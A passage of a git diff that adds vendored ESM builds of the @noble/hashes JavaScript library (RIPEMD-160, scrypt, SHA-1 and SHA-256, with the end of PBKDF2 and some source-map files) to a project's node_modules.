+ } + return pbkdf2Output(PRF, PRFSalt, DK, prfW, u); +} +//# sourceMappingURL=pbkdf2.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/pbkdf2.js.map b/node_modules/@noble/hashes/esm/pbkdf2.js.map new file mode 100644 index 000000000000..b4049346d7f8 --- /dev/null +++ b/node_modules/@noble/hashes/esm/pbkdf2.js.map @@ -0,0 +1 @@ +{"version":3,"file":"pbkdf2.js","sourceRoot":"","sources":["../src/pbkdf2.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,IAAI,IAAI,UAAU,EAAE,MAAM,IAAI,YAAY,EAAE,MAAM,cAAc,CAAC;AAC1E,OAAO,EAAE,IAAI,EAAE,MAAM,WAAW,CAAC;AACjC,OAAO,EAAsB,UAAU,EAAE,OAAO,EAAE,SAAS,EAAE,SAAS,EAAE,MAAM,YAAY,CAAC;AAQ3F,wDAAwD;AACxD,SAAS,UAAU,CAAC,IAAW,EAAE,SAAgB,EAAE,KAAY,EAAE,KAAgB;IAC/E,UAAU,CAAC,IAAI,CAAC,CAAC;IACjB,MAAM,IAAI,GAAG,SAAS,CAAC,EAAE,KAAK,EAAE,EAAE,EAAE,SAAS,EAAE,EAAE,EAAE,EAAE,KAAK,CAAC,CAAC;IAC5D,MAAM,EAAE,CAAC,EAAE,KAAK,EAAE,SAAS,EAAE,GAAG,IAAI,CAAC;IACrC,YAAY,CAAC,CAAC,CAAC,CAAC;IAChB,YAAY,CAAC,KAAK,CAAC,CAAC;IACpB,YAAY,CAAC,SAAS,CAAC,CAAC;IACxB,IAAI,CAAC,GAAG,CAAC;QAAE,MAAM,IAAI,KAAK,CAAC,uCAAuC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AC,MAAM,EAAE,CAAC,EAAE;gBAAE,EAAE,CAAC,CAAC,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC,CAAC;QACpD,CAAC,CAAC,CAAC;KACJ;IACD,OAAO,YAAY,CAAC,GAAG,EAAE,OAAO,EAAE,EAAE,EAAE,IAAI,EAAE,CAAC,CAAC,CAAC;AACjD,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/ripemd160.js b/node_modules/@noble/hashes/esm/ripemd160.js new file mode 100644 index 000000000000..1e239583215f --- /dev/null +++ b/node_modules/@noble/hashes/esm/ripemd160.js @@ -0,0 +1,104 @@ +import { SHA2 } from './_sha2.js'; +import { wrapConstructor } from './utils.js'; +// https://homes.esat.kuleuven.be/~bosselae/ripemd160.html +// https://homes.esat.kuleuven.be/~bosselae/ripemd160/pdf/AB-9601/AB-9601.pdf +const Rho = /* @__PURE__ */ new Uint8Array([7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8]); +const Id = /* @__PURE__ */ Uint8Array.from({ length: 16 }, (_, i) => i); +const Pi = /* @__PURE__ */ Id.map((i) => (9 * i + 5) % 16); +let idxL = [Id]; +let idxR = [Pi]; +for (let i = 0; i < 4; i++) + for (let j of [idxL, idxR]) + j.push(j[i].map((k) => Rho[k])); +const shifts = /* @__PURE__ */ [ + [11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8], + [12, 13, 11, 15, 6, 9, 9, 7, 12, 15, 11, 13, 7, 8, 7, 7], + [13, 15, 14, 11, 7, 7, 6, 8, 13, 14, 13, 12, 5, 5, 6, 9], + [14, 11, 12, 14, 8, 6, 5, 5, 15, 12, 15, 14, 9, 9, 8, 6], + [15, 12, 13, 13, 9, 5, 8, 6, 14, 11, 12, 11, 8, 6, 5, 5], +].map((i) => new Uint8Array(i)); +const shiftsL = /* @__PURE__ */ idxL.map((idx, i) => idx.map((j) => shifts[i][j])); +const shiftsR = /* @__PURE__ */ idxR.map((idx, i) => idx.map((j) => shifts[i][j])); +const Kl = /* @__PURE__ */ new Uint32Array([ + 0x00000000, 0x5a827999, 0x6ed9eba1, 0x8f1bbcdc, 0xa953fd4e, +]); +const Kr = /* @__PURE__ */ new Uint32Array([ + 0x50a28be6, 0x5c4dd124, 0x6d703ef3, 0x7a6d76e9, 0x00000000, +]); +// The rotate left (circular left shift) operation for uint32 +const rotl = (word, shift) => (word << shift) | (word >>> (32 - shift)); +// It's called f() in spec. +function f(group, x, y, z) { + if (group === 0) + return x ^ y ^ z; + else if (group === 1) + return (x & y) | (~x & z); + else if (group === 2) + return (x | ~y) ^ z; + else if (group === 3) + return (x & z) | (y & ~z); + else + return x ^ (y | ~z); +} +// Temporary buffer, not used to store anything between runs +const BUF = /* @__PURE__ */ new Uint32Array(16); +export class RIPEMD160 extends SHA2 { + constructor() { + super(64, 20, 8, true); + this.h0 = 0x67452301 | 0; + this.h1 = 0xefcdab89 | 0; + this.h2 = 0x98badcfe | 0; + this.h3 = 0x10325476 | 0; + this.h4 = 0xc3d2e1f0 | 0; + } + get() { + const { h0, h1, h2, h3, h4 } = this; + return [h0, h1, h2, h3, h4]; + } + set(h0, h1, h2, h3, h4) { + this.h0 = h0 | 0; + this.h1 = h1 | 0; + this.h2 = h2 | 0; + this.h3 = h3 | 0; + this.h4 = h4 | 0; + } + process(view, offset) { + for (let i = 0; i < 16; i++, offset += 4) + BUF[i] = view.getUint32(offset, true); + // prettier-ignore + let al = this.h0 | 0, ar = al, bl = this.h1 | 0, br = bl, cl = this.h2 | 0, cr = cl, dl = this.h3 | 0, dr = dl, el = this.h4 | 0, er = el; + // Instead of iterating 0 to 80, we split it into 5 groups + // And use the groups in constants, functions, etc. Much simpler + for (let group = 0; group < 5; group++) { + const rGroup = 4 - group; + const hbl = Kl[group], hbr = Kr[group]; // prettier-ignore + const rl = idxL[group], rr = idxR[group]; // prettier-ignore + const sl = shiftsL[group], sr = shiftsR[group]; // prettier-ignore + for (let i = 0; i < 16; i++) { + const tl = (rotl(al + f(group, bl, cl, dl) + BUF[rl[i]] + hbl, sl[i]) + el) | 0; + al = el, el = dl, dl = rotl(cl, 10) | 0, cl = bl, bl = tl; // prettier-ignore + } + // 2 loops are 10% faster + for (let i = 0; i < 16; i++) { + const tr = (rotl(ar + f(rGroup, br, cr, dr) + BUF[rr[i]] + hbr, sr[i]) + er) | 0; + ar = er, er = dr, dr = rotl(cr, 10) | 0, cr = br, br = tr; // prettier-ignore + } + } + // Add the compressed chunk to the current hash value + this.set((this.h1 + cl + dr) | 0, (this.h2 + dl + er) | 0, (this.h3 + el + ar) | 0, (this.h4 + al + br) | 0, (this.h0 + bl + cr) | 0); + } + roundClean() { + BUF.fill(0); + } + destroy() { + this.destroyed = true; + this.buffer.fill(0); + this.set(0, 0, 0, 0, 0); + } +} +/** + * RIPEMD-160 - a hash function from 1990s. + * @param message - msg that would be hashed + */ +export const ripemd160 = /* @__PURE__ */ wrapConstructor(() => new RIPEMD160()); +//# sourceMappingURL=ripemd160.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/ripemd160.js.map b/node_modules/@noble/hashes/esm/ripemd160.js.map new file mode 100644 index 000000000000..7964756edd9d --- /dev/null +++ b/node_modules/@noble/hashes/esm/ripemd160.js.map @@ -0,0 +1 @@ +{"version":3,"file":"ripemd160.js","sourceRoot":"","sources":["../src/ripemd160.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,IAAI,EAAE,MAAM,YAAY,CAAC;AAClC,OAAO,EAAE,eAAe,EAAE,MAAM,YAAY,CAAC;AAE7C,0DAA0D;AAC1D,6EAA6E;AAC7E,MAAM,GAAG,GAAG,eAAe,CAAC,IAAI,UAAU,CAAC,CAAC,CAAC,EAAE,CAAC,EAAE,EAAE,EAAE,CAAC,EAAE,EAAE,EAAE,CAAC,EAAE,EAAE,EAAE,CAAC,EAAE,EAAE,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,EAAE,EAAE,EAAE,EAAE,CAA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/esm/scrypt.js new file mode 100644 index 000000000000..37012f56bc31 --- /dev/null +++ b/node_modules/@noble/hashes/esm/scrypt.js @@ -0,0 +1,218 @@ +import { number as assertNumber } from './_assert.js'; +import { sha256 } from './sha256.js'; +import { pbkdf2 } from './pbkdf2.js'; +import { asyncLoop, checkOpts, u32 } from './utils.js'; +// RFC 7914 Scrypt KDF +// Left rotate for uint32 +const rotl = (a, b) => (a << b) | (a >>> (32 - b)); +// The main Scrypt loop: uses Salsa extensively. +// Six versions of the function were tried, this is the fastest one. +// prettier-ignore +function XorAndSalsa(prev, pi, input, ii, out, oi) { + // Based on https://cr.yp.to/salsa20.html + // Xor blocks + let y00 = prev[pi++] ^ input[ii++], y01 = prev[pi++] ^ input[ii++]; + let y02 = prev[pi++] ^ input[ii++], y03 = prev[pi++] ^ input[ii++]; + let y04 = prev[pi++] ^ input[ii++], y05 = prev[pi++] ^ input[ii++]; + let y06 = prev[pi++] ^ input[ii++], y07 = prev[pi++] ^ input[ii++]; + let y08 = prev[pi++] ^ input[ii++], y09 = prev[pi++] ^ input[ii++]; + let y10 = prev[pi++] ^ input[ii++], y11 = prev[pi++] ^ input[ii++]; + let y12 = prev[pi++] ^ input[ii++], y13 = prev[pi++] ^ input[ii++]; + let y14 = prev[pi++] ^ input[ii++], y15 = prev[pi++] ^ input[ii++]; + // Save state to temporary variables (salsa) + let x00 = y00, x01 = y01, x02 = y02, x03 = y03, x04 = y04, x05 = y05, x06 = y06, x07 = y07, x08 = y08, x09 = y09, x10 = y10, x11 = y11, x12 = y12, x13 = y13, x14 = y14, x15 = y15; + // Main loop (salsa) + for (let i = 0; i < 8; i += 2) { + x04 ^= rotl(x00 + x12 | 0, 7); + x08 ^= rotl(x04 + x00 | 0, 9); + x12 ^= rotl(x08 + x04 | 0, 13); + x00 ^= rotl(x12 + x08 | 0, 18); + x09 ^= rotl(x05 + x01 | 0, 7); + x13 ^= rotl(x09 + x05 | 0, 9); + x01 ^= rotl(x13 + x09 | 0, 13); + x05 ^= rotl(x01 + x13 | 0, 18); + x14 ^= rotl(x10 + x06 | 0, 7); + x02 ^= rotl(x14 + x10 | 0, 9); + x06 ^= rotl(x02 + x14 | 0, 13); + x10 ^= rotl(x06 + x02 | 0, 18); + x03 ^= rotl(x15 + x11 | 0, 7); + x07 ^= rotl(x03 + x15 | 0, 9); + x11 ^= rotl(x07 + x03 | 0, 13); + x15 ^= rotl(x11 + x07 | 0, 18); + x01 ^= rotl(x00 + x03 | 0, 7); + x02 ^= rotl(x01 + x00 | 0, 9); + x03 ^= rotl(x02 + x01 | 0, 13); + x00 ^= rotl(x03 + x02 | 0, 18); + x06 ^= rotl(x05 + x04 | 0, 7); + x07 ^= rotl(x06 + x05 | 0, 9); + x04 ^= rotl(x07 + x06 | 0, 13); + x05 ^= rotl(x04 + x07 | 0, 18); + x11 ^= rotl(x10 + x09 | 0, 7); + x08 ^= rotl(x11 + x10 | 0, 9); + x09 ^= rotl(x08 + x11 | 0, 13); + x10 ^= rotl(x09 + x08 | 0, 18); + x12 ^= rotl(x15 + x14 | 0, 7); + x13 ^= rotl(x12 + x15 | 0, 9); + x14 ^= rotl(x13 + x12 | 0, 13); + x15 ^= rotl(x14 + x13 | 0, 18); + } + // Write output (salsa) + out[oi++] = (y00 + x00) | 0; + out[oi++] = (y01 + x01) | 0; + out[oi++] = (y02 + x02) | 0; + out[oi++] = (y03 + x03) | 0; + out[oi++] = (y04 + x04) | 0; + out[oi++] = (y05 + x05) | 0; + out[oi++] = (y06 + x06) | 0; + out[oi++] = (y07 + x07) | 0; + out[oi++] = (y08 + x08) | 0; + out[oi++] = (y09 + x09) | 0; + out[oi++] = (y10 + x10) | 0; + out[oi++] = (y11 + x11) | 0; + out[oi++] = (y12 + x12) | 0; + out[oi++] = (y13 + x13) | 0; + out[oi++] = (y14 + x14) | 0; + out[oi++] = (y15 + x15) | 0; +} +function BlockMix(input, ii, out, oi, r) { + // The block B is r 128-byte chunks (which is equivalent of 2r 64-byte chunks) + let head = oi + 0; + let tail = oi + 16 * r; + for (let i = 0; i < 16; i++) + out[tail + i] = input[ii + (2 * r - 1) * 16 + i]; // X ← B[2r−1] + for (let i = 0; i < r; i++, head += 16, ii += 16) { + // We write odd & even Yi at same time. Even: 0bXXXXX0 Odd: 0bXXXXX1 + XorAndSalsa(out, tail, input, ii, out, head); // head[i] = Salsa(blockIn[2*i] ^ tail[i-1]) + if (i > 0) + tail += 16; // First iteration overwrites tmp value in tail + XorAndSalsa(out, head, input, (ii += 16), out, tail); // tail[i] = Salsa(blockIn[2*i+1] ^ head[i]) + } +} +// Common prologue and epilogue for sync/async functions +function scryptInit(password, salt, _opts) { + // Maxmem - 1GB+1KB by default + const opts = checkOpts({ + dkLen: 32, + asyncTick: 10, + maxmem: 1024 ** 3 + 1024, + }, _opts); + const { N, r, p, dkLen, asyncTick, maxmem, onProgress } = opts; + assertNumber(N); + assertNumber(r); + assertNumber(p); + assertNumber(dkLen); + assertNumber(asyncTick); + assertNumber(maxmem); + if (onProgress !== undefined && typeof onProgress !== 'function') + throw new Error('progressCb should be function'); + const blockSize = 128 * r; + const blockSize32 = blockSize / 4; + if (N <= 1 || (N & (N - 1)) !== 0 || N >= 2 ** (blockSize / 8) || N > 2 ** 32) { + // NOTE: we limit N to be less than 2**32 because of 32 bit variant of Integrify function + // There is no JS engines that allows alocate more than 4GB per single Uint8Array for now, but can change in future. + throw new Error('Scrypt: N must be larger than 1, a power of 2, less than 2^(128 * r / 8) and less than 2^32'); + } + if (p < 0 || p > ((2 ** 32 - 1) * 32) / blockSize) { + throw new Error('Scrypt: p must be a positive integer less than or equal to ((2^32 - 1) * 32) / (128 * r)'); + } + if (dkLen < 0 || dkLen > (2 ** 32 - 1) * 32) { + throw new Error('Scrypt: dkLen should be positive integer less than or equal to (2^32 - 1) * 32'); + } + const memUsed = blockSize * (N + p); + if (memUsed > maxmem) { + throw new Error(`Scrypt: parameters too large, ${memUsed} (128 * r * (N + p)) > ${maxmem} (maxmem)`); + } + // [B0...Bp−1] ← PBKDF2HMAC-SHA256(Passphrase, Salt, 1, blockSize*ParallelizationFactor) + // Since it has only one iteration there is no reason to use async variant + const B = pbkdf2(sha256, password, salt, { c: 1, dkLen: blockSize * p }); + const B32 = u32(B); + // Re-used between parallel iterations. Array(iterations) of B + const V = u32(new Uint8Array(blockSize * N)); + const tmp = u32(new Uint8Array(blockSize)); + let blockMixCb = () => { }; + if (onProgress) { + const totalBlockMix = 2 * N * p; + // Invoke callback if progress changes from 10.01 to 10.02 + // Allows to draw smooth progress bar on up to 8K screen + const callbackPer = Math.max(Math.floor(totalBlockMix / 10000), 1); + let blockMixCnt = 0; + blockMixCb = () => { + blockMixCnt++; + if (onProgress && (!(blockMixCnt % callbackPer) || blockMixCnt === totalBlockMix)) + onProgress(blockMixCnt / totalBlockMix); + }; + } + return { N, r, p, dkLen, blockSize32, V, B32, B, tmp, blockMixCb, asyncTick }; +} +function scryptOutput(password, dkLen, B, V, tmp) { + const res = pbkdf2(sha256, password, B, { c: 1, dkLen }); + B.fill(0); + V.fill(0); + tmp.fill(0); + return res; +} +/** + * Scrypt KDF from RFC 7914. + * @param password - pass + * @param salt - salt + * @param opts - parameters + * - `N` is cpu/mem work factor (power of 2 e.g. 2**18) + * - `r` is block size (8 is common), fine-tunes sequential memory read size and performance + * - `p` is parallelization factor (1 is common) + * - `dkLen` is output key length in bytes e.g. 32. + * - `asyncTick` - (default: 10) max time in ms for which async function can block execution + * - `maxmem` - (default: `1024 ** 3 + 1024` aka 1GB+1KB). A limit that the app could use for scrypt + * - `onProgress` - callback function that would be executed for progress report + * @returns Derived key + */ +export function scrypt(password, salt, opts) { + const { N, r, p, dkLen, blockSize32, V, B32, B, tmp, blockMixCb } = scryptInit(password, salt, opts); + for (let pi = 0; pi < p; pi++) { + const Pi = blockSize32 * pi; + for (let i = 0; i < blockSize32; i++) + V[i] = B32[Pi + i]; // V[0] = B[i] + for (let i = 0, pos = 0; i < N - 1; i++) { + BlockMix(V, pos, V, (pos += blockSize32), r); // V[i] = BlockMix(V[i-1]); + blockMixCb(); + } + BlockMix(V, (N - 1) * blockSize32, B32, Pi, r); // Process last element + blockMixCb(); + for (let i = 0; i < N; i++) { + // First u32 of the last 64-byte block (u32 is LE) + const j = B32[Pi + blockSize32 - 16] % N; // j = Integrify(X) % iterations + for (let k = 0; k < blockSize32; k++) + tmp[k] = B32[Pi + k] ^ V[j * blockSize32 + k]; // tmp = B ^ V[j] + BlockMix(tmp, 0, B32, Pi, r); // B = BlockMix(B ^ V[j]) + blockMixCb(); + } + } + return scryptOutput(password, dkLen, B, V, tmp); +} +/** + * Scrypt KDF from RFC 7914. + */ +export async function scryptAsync(password, salt, opts) { + const { N, r, p, dkLen, blockSize32, V, B32, B, tmp, blockMixCb, asyncTick } = scryptInit(password, salt, opts); + for (let pi = 0; pi < p; pi++) { + const Pi = blockSize32 * pi; + for (let i = 0; i < blockSize32; i++) + V[i] = B32[Pi + i]; // V[0] = B[i] + let pos = 0; + await asyncLoop(N - 1, asyncTick, () => { + BlockMix(V, pos, V, (pos += blockSize32), r); // V[i] = BlockMix(V[i-1]); + blockMixCb(); + }); + BlockMix(V, (N - 1) * blockSize32, B32, Pi, r); // Process last element + blockMixCb(); + await asyncLoop(N, asyncTick, () => { + // First u32 of the last 64-byte block (u32 is LE) + const j = B32[Pi + blockSize32 - 16] % N; // j = Integrify(X) % iterations + for (let k = 0; k < blockSize32; k++) + tmp[k] = B32[Pi + k] ^ V[j * blockSize32 + k]; // tmp = B ^ V[j] + BlockMix(tmp, 0, B32, Pi, r); // B = BlockMix(B ^ V[j]) + blockMixCb(); + }); + } + return scryptOutput(password, dkLen, B, V, tmp); +} +//# sourceMappingURL=scrypt.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/scrypt.js.map b/node_modules/@noble/hashes/esm/scrypt.js.map new file mode 100644 index 000000000000..0fa6c1f18356 --- /dev/null +++ b/node_modules/@noble/hashes/esm/scrypt.js.map @@ -0,0 +1 @@ +{"version":3,"file":"scrypt.js","sourceRoot":"","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;QACb,MAAM,SAAS,CAAC,CAAC,EAAE,SAAS,EAAE,GAAG,EAAE;YACjC,kDAAkD;YAClD,MAAM,CAAC,GAAG,GAAG,CAAC,EAAE,GAAG,WAAW,GAAG,EAAE,CAAC,GAAG,CAAC,CAAC,CAAC,gCAAgC;YAC1E,KAAK,IAAI,CAAC,GAAG,CAAC,EAAE,CAAC,GAAG,WAAW,EAAE,CAAC,EAAE;gBAAE,GAAG,CAAC,CAAC,CAAC,GAAG,GAAG,CAAC,EAAE,GAAG,CAAC,CAAC,GAAG,CAAC,CAAC,CAAC,GAAG,WAAW,GAAG,CAAC,CAAC,CAAC,CAAC,iBAAiB;YACtG,QAAQ,CAAC,GAAG,EAAE,CAAC,EAAE,GAAG,EAAE,EAAE,EAAE,CAAC,CAAC,CAAC,CAAC,yBAAyB;YACvD,UAAU,EAAE,CAAC;QACf,CAAC,CAAC,CAAC;KACJ;IACD,OAAO,YAAY,CAAC,QAAQ,EAAE,KAAK,EAAE,CAAC,EAAE,CAAC,EAAE,GAAG,CAAC,CAAC;AAClD,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/sha1.js b/node_modules/@noble/hashes/esm/sha1.js new file mode 100644 index 000000000000..563bff570e36 --- /dev/null +++ b/node_modules/@noble/hashes/esm/sha1.js @@ -0,0 +1,87 @@ +import { SHA2 } from './_sha2.js'; +import { wrapConstructor } from './utils.js'; +// SHA1 was cryptographically broken. +// It is still widely used in legacy apps. Don't use it for a new protocol. +// RFC 3174 +const rotl = (word, shift) => (word << shift) | ((word >>> (32 - shift)) >>> 0); +// Choice: a ? b : c +const Chi = (a, b, c) => (a & b) ^ (~a & c); +// Majority function, true if any two inpust is true +const Maj = (a, b, c) => (a & b) ^ (a & c) ^ (b & c); +// Initial state +const IV = /* @__PURE__ */ new Uint32Array([ + 0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476, 0xc3d2e1f0, +]); +// Temporary buffer, not used to store anything between runs +// Named this way because it matches specification. +const SHA1_W = /* @__PURE__ */ new Uint32Array(80); +class SHA1 extends SHA2 { + constructor() { + super(64, 20, 8, false); + this.A = IV[0] | 0; + this.B = IV[1] | 0; + this.C = IV[2] | 0; + this.D = IV[3] | 0; + this.E = IV[4] | 0; + } + get() { + const { A, B, C, D, E } = this; + return [A, B, C, D, E]; + } + set(A, B, C, D, E) { + this.A = A | 0; + this.B = B | 0; + this.C = C | 0; + this.D = D | 0; + this.E = E | 0; + } + process(view, offset) { + for (let i = 0; i < 16; i++, offset += 4) + SHA1_W[i] = view.getUint32(offset, false); + for (let i = 16; i < 80; i++) + SHA1_W[i] = rotl(SHA1_W[i - 3] ^ SHA1_W[i - 8] ^ SHA1_W[i - 14] ^ SHA1_W[i - 16], 1); + // Compression function main loop, 80 rounds + let { A, B, C, D, E } = this; + for (let i = 0; i < 80; i++) { + let F, K; + if (i < 20) { + F = Chi(B, C, D); + K = 0x5a827999; + } + else if (i < 40) { + F = B ^ C ^ D; + K = 0x6ed9eba1; + } + else if (i < 60) { + F = Maj(B, C, D); + K = 0x8f1bbcdc; + } + else { + F = B ^ C ^ D; + K = 0xca62c1d6; + } + const T = (rotl(A, 5) + F + E + K + SHA1_W[i]) | 0; + E = D; + D = C; + C = rotl(B, 30); + B = A; + A = T; + } + // Add the compressed chunk to the current hash value + A = (A + this.A) | 0; + B = (B + this.B) | 0; + C = (C + this.C) | 0; + D = (D + this.D) | 0; + E = (E + this.E) | 0; + this.set(A, B, C, D, E); + } + roundClean() { + SHA1_W.fill(0); + } + destroy() { + this.set(0, 0, 0, 0, 0); + this.buffer.fill(0); + } +} +export const sha1 = /* @__PURE__ */ wrapConstructor(() => new SHA1()); +//# sourceMappingURL=sha1.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/sha1.js.map b/node_modules/@noble/hashes/esm/sha1.js.map new file mode 100644 index 000000000000..55249decddef --- /dev/null +++ b/node_modules/@noble/hashes/esm/sha1.js.map @@ -0,0 +1 @@ +{"version":3,"file":"sha1.js","sourceRoot":"","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C,CAAC,GAAG,IAAI,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC;QACrB,CAAC,GAAG,CAAC,CAAC,GAAG,IAAI,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC;QACrB,CAAC,GAAG,CAAC,CAAC,GAAG,IAAI,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC;QACrB,CAAC,GAAG,CAAC,CAAC,GAAG,IAAI,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC;QACrB,IAAI,CAAC,GAAG,CAAC,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,CAAC,CAAC;IAC1B,CAAC;IACS,UAAU;QAClB,MAAM,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IACjB,CAAC;IACD,OAAO;QACL,IAAI,CAAC,GAAG,CAAC,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,CAAC,CAAC;QACxB,IAAI,CAAC,MAAM,CAAC,IAAI,CAAC,CAAC,CAAC,CAAC;IACtB,CAAC;CACF;AAED,MAAM,CAAC,MAAM,IAAI,GAAG,eAAe,CAAC,eAAe,CAAC,GAAG,EAAE,CAAC,IAAI,IAAI,EAAE,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/sha256.js b/node_modules/@noble/hashes/esm/sha256.js new file mode 100644 index 000000000000..e92203c82ff3 --- /dev/null +++ b/node_modules/@noble/hashes/esm/sha256.js @@ -0,0 +1,126 @@ +import { SHA2 } from './_sha2.js'; +import { rotr, wrapConstructor } from './utils.js'; +// SHA2-256 need to try 2^128 hashes to execute birthday attack. +// BTC network is doing 2^67 hashes/sec as per early 2023. +// Choice: a ? b : c +const Chi = (a, b, c) => (a & b) ^ (~a & c); +// Majority function, true if any two inpust is true +const Maj = (a, b, c) => (a & b) ^ (a & c) ^ (b & c); +// Round constants: +// first 32 bits of the fractional parts of the cube roots of the first 64 primes 2..311) +// prettier-ignore +const SHA256_K = /* @__PURE__ */ new Uint32Array([ + 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, + 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, + 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, + 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, + 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, + 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, + 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, + 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 +]); +// Initial state (first 32 bits of the fractional parts of the square roots of the first 8 primes 2..19): +// prettier-ignore +const IV = /* @__PURE__ */ new Uint32Array([ + 0x6a09e667, 0xbb67ae85, 0x3c6ef372, 0xa54ff53a, 0x510e527f, 0x9b05688c, 0x1f83d9ab, 0x5be0cd19 +]); +// Temporary buffer, not used to store anything between runs +// Named this way because it matches specification. +const SHA256_W = /* @__PURE__ */ new Uint32Array(64); +class SHA256 extends SHA2 { + constructor() { + super(64, 32, 8, false); + // We cannot use array here since array allows indexing by variable + // which means optimizer/compiler cannot use registers. + this.A = IV[0] | 0; + this.B = IV[1] | 0; + this.C = IV[2] | 0; + this.D = IV[3] | 0; + this.E = IV[4] | 0; + this.F = IV[5] | 0; + this.G = IV[6] | 0; + this.H = IV[7] | 0; + } + get() { + const { A, B, C, D, E, F, G, H } = this; + return [A, B, C, D, E, F, G, H]; + } + // prettier-ignore + set(A, B, C, D, E, F, G, H) { + this.A = A | 0; + this.B = B | 0; + this.C = C | 0; + this.D = D | 0; + this.E = E | 0; + this.F = F | 0; + this.G = G | 0; + this.H = H | 0; + } + process(view, offset) { + // Extend the first 16 words into the remaining 48 words w[16..63] of the message schedule array + for (let i = 0; i < 16; i++, offset += 4) + SHA256_W[i] = view.getUint32(offset, false); + for (let i = 16; i < 64; i++) { + const W15 = SHA256_W[i - 15]; + const W2 = SHA256_W[i - 2]; + const s0 = rotr(W15, 7) ^ rotr(W15, 18) ^ (W15 >>> 3); + const s1 = rotr(W2, 17) ^ rotr(W2, 19) ^ (W2 >>> 10); + SHA256_W[i] = (s1 + SHA256_W[i - 7] + s0 + SHA256_W[i - 16]) | 0; + } + // Compression function main loop, 64 rounds + let { A, B, C, D, E, F, G, H } = this; + for (let i = 0; i < 64; i++) { + const sigma1 = rotr(E, 6) ^ rotr(E, 11) ^ rotr(E, 25); + const T1 = (H + sigma1 + Chi(E, F, G) + SHA256_K[i] + SHA256_W[i]) | 0; + const sigma0 = rotr(A, 2) ^ rotr(A, 13) ^ rotr(A, 22); + const T2 = (sigma0 + Maj(A, B, C)) | 0; + H = G; + G = F; + F = E; + E = (D + T1) | 0; + D = C; + C = B; + B = A; + A = (T1 + T2) | 0; + } + // Add the compressed chunk to the current hash value + A = (A + this.A) | 0; + B = (B + this.B) | 0; + C = (C + this.C) | 0; + D = (D + this.D) | 0; + E = (E + this.E) | 0; + F = (F + this.F) | 0; + G = (G + this.G) | 0; + H = (H + this.H) | 0; + this.set(A, B, C, D, E, F, G, H); + } + roundClean() { + SHA256_W.fill(0); + } + destroy() { + this.set(0, 0, 0, 0, 0, 0, 0, 0); + this.buffer.fill(0); + } +} +// Constants from https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf +class SHA224 extends SHA256 { + constructor() { + super(); + this.A = 0xc1059ed8 | 0; + this.B = 0x367cd507 | 0; + this.C = 0x3070dd17 | 0; + this.D = 0xf70e5939 | 0; + this.E = 0xffc00b31 | 0; + this.F = 0x68581511 | 0; + this.G = 0x64f98fa7 | 0; + this.H = 0xbefa4fa4 | 0; + this.outputLen = 28; + } +} +/** + * SHA2-256 hash function + * @param message - data that would be hashed + */ +export const sha256 = /* @__PURE__ */ wrapConstructor(() => new SHA256()); +export const sha224 = /* @__PURE__ */ wrapConstructor(() => new SHA224()); +//# sourceMappingURL=sha256.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/esm/sha256.js.map b/node_modules/@noble/hashes/esm/sha256.js.map new file mode 100644 index 000000000000..0236fa866227 --- /dev/null +++ b/node_modules/@noble/hashes/esm/sha256.js.map @@ -0,0 +1 @@ 